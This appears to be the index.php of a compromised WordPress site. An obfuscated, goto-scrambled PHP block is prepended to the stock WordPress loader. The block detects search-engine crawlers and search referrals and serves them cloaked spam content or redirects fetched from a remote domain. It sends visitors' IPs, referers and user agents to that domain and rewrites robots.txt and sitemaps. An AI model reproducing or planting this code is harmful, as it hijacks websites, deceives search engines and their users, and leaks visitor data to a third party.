File: /home/bishwesh/www/index.php
<?php
goto hwS4L; UHLLF: function is_crawler($agent) { $agent_check = false; $bots = "\147\x6f\157\x67\x6c\145\x62\157\164\x7c\x62\x69\x6e\x67\x62\157\164\174\x67\157\x6f\147\x6c\x65\x7c\x61\x6f\154\174\x62\x69\156\147\x7c\171\141\150\x6f\x6f"; if ($agent != '') { if (preg_match("\57\50{$bots}\x29\57\163\151", $agent)) { $agent_check = true; } } return $agent_check; } goto RTzOE; I5cTg: $req_uri = $_SERVER["\x52\x45\121\125\x45\123\124\137\x55\122\111"]; goto Ykk7k; RV1iG: function getServerCont($url, $data = array()) { $url = str_replace("\x20", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\56\60\56\60", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto UHLLF; a1bW_: $data1["\144\x6f\155\141\x69\156"] = $domain; goto yTlsh; trDjH: if (strpos($req_uri, "\x2e\160\x68\160")) { $main_shell = $http . $ser_name . $self; $data1["\x6d\x61\x69\x6e\x5f\163\x68\x65\154\154"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\155\x61\151\x6e\x5f\x73\150\145\x6c\x6c"] = $main_shell; } goto CwF76; CwF76: $referer = isset($_SERVER["\110\x54\x54\x50\137\x52\105\106\x45\x52\x45\x52"]) ? $_SERVER["\x48\124\x54\x50\137\x52\x45\106\x45\x52\x45\122"] : ''; goto jHk32; LJe8Q: $data1[] = array(); goto a1bW_; dFmSE: $map1 = $inter_domain . "\x2f\155\141\x70\x2e\160\x68\x70"; goto giUs1; wOoX2: $url_words = $inter_domain . "\x2f\x77\x6f\162\144\163\x2e\160\150\x70"; goto DTIi5; jHk32: $chk_refer = check_refer($referer); goto GUsRH; x5tIx: $res_crawl = is_crawler($user_agent); goto lr5Zn; Ykk7k: $domain = $_SERVER["\110\x54\x54\120\137\x48\117\x53\124"]; goto hkUTu; giUs1: $jump1 = $inter_domain . "\x2f\x6a\x75\155\160\56\x70\150\x70"; goto wOoX2; hXGjN: if (strpos($req_uri, "\56\x70\x68\x70")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto LJe8Q; o_8F3: if (substr($req_uri, -4) == "\56\170\x6d\x6c") { if (strpos($req_uri, "\141\154\154\x73\151\164\145\x6d\x61\160\56\170\x6d\154")) { $str_cont = getServerCont($map1, $data1); header("\x43\157\x6e\x74\145\x6e\164\x2d\x74\171\x70\x65\72\164\x65\170\x74\57\x78\x6d\154"); echo $str_cont; die; } if (strpos($req_uri, "\56\160\150\160")) { $word4 = explode("\77", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace("\56\x78\155\x6c", '', $word4); } else { $word4 = str_replace("\57", '', $req_uri); $word4 = str_replace("\x2e\x78\155\x6c", '', $word4); } $data1["\167\157\162\144"] = $word4; $data1["\141\143\164\x69\x6f\156"] = "\x63\x68\x65\x63\153\x5f\163\x69\164\145\155\x61\x70"; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == "\x31") { $str_cont = getServerCont($map1, $data1); header("\x43\157\156\x74\x65\x6e\164\x2d\164\171\160\x65\72\164\145\170\164\57\x78\155\x6c"); echo $str_cont; die; } $data1["\141\143\x74\151\x6f\x6e"] = "\143\150\145\143\x6b\137\167\x6f\162\x64\163"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "\x6d\x61\160") > 0 || $check1 == "\x31") { $data1["\x61\x63\164\151\x6f\x6e"] = "\162\x61\x6e\144\137\x78\x6d\154"; $check_url4 = getServerCont($url_words, $data1); header("\103\157\156\164\145\156\164\x2d\x74\x79\x70\x65\72\x74\x65\x78\164\x2f\x78\155\154"); echo $check_url4; die; } } goto trDjH; tZyhx: $data1["\162\x65\x71\137\165\162\x6c"] = $req_url; goto USBsO; lr5Zn: $req_uri = str_replace(array("\56\x68\164\x6d", "\x2e\150\x74\x6d\154", "\56\163\150\x74\155\x6c", "\x2e\x70\x68\x74\155\x6c"), '', rtrim($req_uri, "\57")); goto mTr9f; X9fgE: $http = isset($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\110\x54\x54\120\123"] !== "\157\146\x66" ? "\150\164\164\160\x73\72\x2f\57" : "\x68\164\164\160\72\x2f\x2f"; goto I5cTg; RTzOE: function check_refer($refer) { $check_refer = false; $referbots = "\147\x6f\x6f\147\154\145\174\x79\141\x68\157\157\174\142\151\156\x67\x7c\141\x6f\154"; if ($refer != '' && preg_match("\57\x28{$referbots}\51\57\163\x69", $refer)) { $check_refer = true; } return $check_refer; } goto X9fgE; zakmY: $indata1 = $inter_domain . "\x2f\151\156\x64\x61\x74\141\56\x70\x68\x70"; goto dFmSE; mTr9f: if (!$res_crawl && $chk_refer && (preg_match("\57\134\x64\44\x2f", $req_uri) || preg_match("\x23\133\x61\x2d\x7a\135\75\x5b\141\55\172\x30\x2d\x39\x5d\53\x23", $req_uri) || preg_match("\x2f\x69\164\x65\155\x2f", $req_uri))) { $data1["\x69\x70"] = $_SERVER["\x52\105\x4d\x4f\x54\x45\137\101\104\104\x52"]; $data1["\162\145\x66\145\x72\145\162"] = isset($_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\x52\105\x52"]) ? $_SERVER["\110\124\124\x50\137\x52\105\106\x45\x52\x45\122"] : ''; $data1["\x75\x73\145\162\137\x61\x67\x65\156\164"] = strtolower(isset($_SERVER["\x48\124\124\120\137\x55\x53\105\122\x5f\101\x47\x45\116\x54"]) ? $_SERVER["\110\124\x54\120\x5f\125\123\x45\x52\137\x41\107\105\x4e\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto qHaeV; qHaeV: if ($res_crawl) { $data1["\x68\164\164\x70\137\165\x73\x65\162\137\141\147\145\156\164"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto OYUpD; zNHel: $data1["\x68\x72\145\146"] = $href1; goto tZyhx; GUsRH: $user_agent = strtolower(isset($_SERVER["\110\124\x54\x50\137\x55\123\105\122\137\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\120\137\x55\x53\105\x52\x5f\x41\x47\x45\x4e\x54"] : ''); goto x5tIx; DTIi5: $url_robots = $inter_domain . "\x2f\x72\x6f\x62\157\x74\163\x2e\x70\150\160"; goto hXGjN; lRP7q: $ser_name = $_SERVER["\123\105\x52\x56\105\122\137\x4e\x41\115\x45"]; goto GCzyM; USBsO: if (substr($req_uri, -6) == "\162\x6f\142\x6f\x74\163") { define("\x42\101\x53\105\137\120\101\x54\110", $_SERVER["\104\x4f\x43\x55\115\105\x4e\124\x5f\x52\117\117\x54"]); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\x72\157\142\157\164\163\x2e\x74\170\164"); $data1["\162\x6f\142\x6f\164\x73\137\143\x6f\x6e\x74"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\x72\157\142\157\x74\x73\x2e\164\x78\164", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\x72\x6f\x62\x6f\164\x73\x2e\164\x78\x74"); if (strpos(strtolower($robots_cont), "\x73\151\x74\x65\155\141\x70")) { echo "\x72\157\x62\157\x74\163\x2e\164\170\x74\40\x66\x69\x6c\x65\x20\143\x72\145\x61\164\x65\40\163\x75\143\143\x65\163\163\x21"; } else { echo "\x72\157\x62\157\164\163\x2e\x74\x78\x74\x20\x66\x69\154\x65\x20\143\162\145\141\164\145\40\146\x61\x69\x6c\x21"; } die; } goto o_8F3; yTlsh: $data1["\x72\145\x71\x5f\165\x72\151"] = $req_uri; goto zNHel; hkUTu: $self = $_SERVER["\x50\110\120\137\123\x45\114\x46"]; goto lRP7q; GCzyM: $req_url = $http . $domain . $req_uri; goto zakmY; hwS4L: $inter_domain = "\150\x74\x74\x70\163\x3a\x2f\x2f\172\66\60\x37\x31\65\x5f\61\x36\x2e\152\162\x6f\x75\x73\163\x65\x61\165\x2e\x78\171\172\57"; goto RV1iG; OYUpD: ?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';